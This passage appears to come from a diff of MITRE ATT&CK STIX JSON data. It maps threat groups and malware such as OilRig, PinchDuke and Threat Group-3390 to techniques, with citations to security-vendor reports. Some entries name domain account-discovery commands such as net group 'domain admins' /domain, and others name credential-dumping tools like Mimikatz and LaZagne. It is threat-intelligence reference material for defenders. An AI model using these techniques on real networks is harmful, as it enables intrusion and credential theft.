"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2021-04-09T14:47:00.131Z", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T19:53:37.592Z", + "external_references": [ + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--15cccbec-2d40-4f28-a46e-c985bbb20c87", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups.(Citation: Mandiant Operation Ke3chang November 2014)", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2021-11-01T21:12:15.032Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T20:08:42.361Z", + "external_references": [ + { + "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Mandiant Operation Ke3chang November 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39ce32d3-7721-4008-b74d-3549b7bb8fa7", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run net user, net user /domain, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2020-03-18T20:18:02.094Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T20:18:02.094Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--30c5a160-c42d-4bee-bcc6-b85f083136d7", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2020-03-18T20:19:35.732Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T20:19:35.732Z", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). 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(2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--426daf58-7fab-49c8-b5cb-722f3e46a75a", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate local and domain user account information.(Citation: GitHub PoshC2)", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2020-03-18T20:28:50.558Z", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T20:28:50.558Z", + "external_references": [ + { + "source_name": "GitHub PoshC2", + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c2541365-58bd-474c-82ab-28c7b63e7fb8", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands net group Exchange Trusted Subsystem /domain and net group domain admins /domain.(Citation: Unit 42 Playbook Dec 2017)", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "modified": "2020-03-18T20:31:34.168Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T20:31:34.168Z", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--926c11f2-853f-4393-9faf-2f3af174e578", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has used [Process Doppelg\u00e4nging](https://attack.mitre.org/techniques/T1055/013) to evade security software while deploying tools on compromised systems.(Citation: Symantec Leafminer July 2018)\t", + "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "modified": "2020-03-18T22:00:45.497Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T22:00:45.497Z", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c8ad1abb-cbe4-4172-9faa-4b999054dd7b", + "description": "[Flame](https://attack.mitre.org/software/S0143) can use Windows Authentication Packages for persistence.(Citation: Crysys Skywiper)", + "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", + "modified": "2020-03-18T22:01:32.429Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T22:01:32.429Z", + "external_references": [ + { + "url": "https://www.crysys.hu/publications/files/skywiper.pdf", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "source_name": "Crysys Skywiper" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--040ff1f7-493d-4762-a9bb-db143a971464", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of domain groups with the command net localgroup /domain.(Citation: Symantec Orangeworm April 2018)", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "modified": "2020-03-18T22:06:42.466Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T22:06:42.466Z", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0eb8fe0a-6a6b-4d66-b6ff-e1d7f8f18948", + "description": "Commands such as net group /domain can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "modified": "2020-03-19T13:11:25.640Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T22:46:46.060Z", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--409581f2-270d-43ce-8044-34bc09874548", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net group /domain, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to find domain group permission settings.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "modified": "2020-03-18T22:50:09.035Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T22:50:09.035Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1fab866-6486-4775-8caf-2b5744971477", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) specifically looks for Domain Admins and power users within the domain.(Citation: Symantec Buckeye) ", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "modified": "2020-03-18T22:53:32.233Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T22:53:32.233Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5650777d-f905-4c09-8fd0-0e205178a830", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect local group information by running net localgroup administrators or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)", + "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "modified": "2020-03-18T23:12:20.804Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T23:12:20.804Z", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--14612b22-b271-4e93-8f66-d86ce8e10c29", + "description": "[Net](https://attack.mitre.org/software/S0039) commands used with the /domain flag can be used to gather information about and manipulate user accounts on the current domain.(Citation: Microsoft Net)", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "modified": "2020-03-19T13:14:50.687Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-19T13:11:25.521Z", + "external_references": [ + { + "url": "https://support.microsoft.com/en-us/help/556003", + "description": "Microsoft. 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Retrieved August 26, 2019.", + "source_name": "FireEye APT34 July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dafc7834-fbb5-426c-adce-957742078002", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019) [OilRig](https://attack.mitre.org/groups/G0049) has also used tool named PICKPOCKET to dump passwords from web browsers.(Citation: FireEye APT34 July 2019)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-11-23T17:35:43.923Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-19T23:50:06.593Z", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. 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Retrieved August 26, 2019.", + "source_name": "FireEye APT34 July 2019" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "source_name": "FireEye APT34 July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c002d944-83b6-4b64-a7a7-3129f31f9ae2", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from several email clients.(Citation: FireEye APT28)", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2020-03-19T23:51:59.077Z", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-19T23:51:59.077Z", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5943cbb-6a13-41ff-9aaf-4213b46b83cd", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer. (Citation: F-Secure The Dukes)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-03-19T23:56:41.564Z", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-19T23:56:41.564Z", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c23fa4f7-84a0-424a-b8b1-b3024d01e749", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. 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Retrieved February 6, 2018.", + "source_name": "PowerSploit Documentation" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--da4e4583-7382-4a38-a922-9b5f6c61b8a7", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Windows vault credential objects.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "modified": "2020-11-23T17:52:11.446Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:00:19.107Z", + "external_references": [ + { + "url": "https://github.com/PowerShellMafia/PowerSploit", + "description": "PowerShellMafia. (2012, May 26). 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Retrieved February 6, 2018.", + "source_name": "PowerSploit Documentation" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--09c0536a-863f-4561-ad59-a5fa1c8daaa1", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2020-03-20T00:08:19.276Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:08:19.276Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e8a51a09-79b4-44d8-8f25-eb8c7c230da5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "modified": "2020-03-20T00:08:19.278Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:08:19.278Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d8707d98-c6f1-4d16-956a-df9a6862b7fa", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", + "modified": "2020-03-20T00:08:19.297Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:08:19.297Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). 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Retrieved May 21, 2018.", + "source_name": "Talos Group123" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--410e0c58-d96c-40ae-bf00-2d4b414daf50", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome.(Citation: Citizen Lab Stealth Falcon May 2016)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-03-20T00:17:48.749Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:17:48.749Z", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21f2fd40-073c-4c25-bf4e-19339ac1f99d", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "modified": "2020-03-20T00:22:39.377Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:22:39.377Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a829622f-60cf-4e24-afce-fb89270e95cb", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)", + "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "modified": "2020-03-20T00:22:39.402Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T00:22:39.402Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. 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(2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. 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(2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + }, + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. 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(2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf", + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "source_name": "US-CERT SHARPKNOT June 2018" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--26cee727-2047-4ea9-b3bd-1115431aa633", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used macros to deliver malware such as [QUADAGENT](https://attack.mitre.org/software/S0269) and [OopsIE](https://attack.mitre.org/software/S0264).(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018) [OilRig](https://attack.mitre.org/groups/G0049) has used batch scripts.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T17:37:14.709Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T02:37:24.768Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/", + "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.", + "source_name": "OilRig ISMAgent July 2017" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", + "description": "Lee, B., Falcone, R. 